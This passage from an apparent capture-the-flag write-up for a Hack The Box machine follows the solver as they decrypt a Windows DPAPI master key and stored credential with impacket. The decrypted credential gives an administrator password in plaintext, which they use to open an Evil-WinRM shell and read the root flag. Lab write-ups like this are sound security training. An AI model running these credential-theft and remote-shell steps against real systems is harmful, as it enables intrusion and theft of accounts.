AgAAAAAAAAAAAAAANQA1ADYAYQAyADQAMQAyAC0AMQAyADcANQAtADQAYwBjAGYALQBiADcAMgAxAC0AZQA2AGEAMABiADQAZgA5ADAANAAwADcAAABqVXUSz0wAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAAsj8xITRBgEgAZOArghULmlBGAAAJgAAAA2YAAPtTG5NorNzxhcfx4/jYgxj+JK0HBHMu8jL7YmpQvLiX7P3r8JgmUe6u9jRlDDjMOHDoZvKzrgIlOUbC0tm4g/4fwFIfMWBq0/fLkFUoEUWvl1/BQlIKAYfIoVXIhNRtc+KnqjXV7w+BAgAAAIIHeThOAhE+Lw/NTnPdszJQRgAACYAAAANmAAAnsQrcWYkrgMd0xLdAjCF9uEuKC2mzsDC0a8AOxgQxR93gmJxhUmVWDQ3j7+LCRX6JWd1L/NlzkmxDehild6MtoO3nd90f5dACAAAAAAEAAFgAAADzFsU+FoA2QrrPuakOpQmSSMbe5Djd8l+4J8uoHSit4+e1BHJIbO28uwtyRxl2Q7tk6e/jjlqROSxDoQUHc37jjVtn4SVdouDfm52kzZT2VheO6A0DqjDlEB19Qbzn9BTpGG4y7P8GuGyN81sbNoLN84yWe1mA15CSZPHx8frov6YwdLQEg7H8vyv9ZieGhBRwvpvp4gTur0SWGamc7WN590w8Vp98J1n3t3TF8H2otXCjnpM9m6exMiTfWpTWfN9FFiL2aC7Gzr/FamzlMQ5E5QAnk63b2T/dMJnp5oIU8cDPq+RCVRSxcdAgUOAZMxPs9Cc7BUD+ERVTMUi/Jp7MlVgK1cIeipAl/gZz5asyOJnbThLa2ylLAf0vaWZGPFQWaIRfc8ni2iVkUlgCO7bI9YDIwDyTGQw0Yz/vRE/EJvtB4bCJdW+Ecnk8TUbok3SGQoExL3I5Tm2a/F6/oscc9YlciWKEmqQ=
For each of these three, I’ll paste the base64, decode it, and save it as a file on my host.
Now I can decrypt the master key using dpapi
(installed with uv tool install impacket
, see here for Python tool installations):
oxdf@hacky$ dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
I’ll use that key to decrypt the credential:
oxdf@hacky$ dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
WinRM
I’ll get a shell with Evil-WinRM:
oxdf@hacky$ evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents>
This user is in the Administrators group:
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
This is also clear in Bloodhound:

The root flag is on the Administrator user’s desktop:
*Evil-WinRM* PS C:\Users\administrator\desktop> cat root.txt
c3bee243************************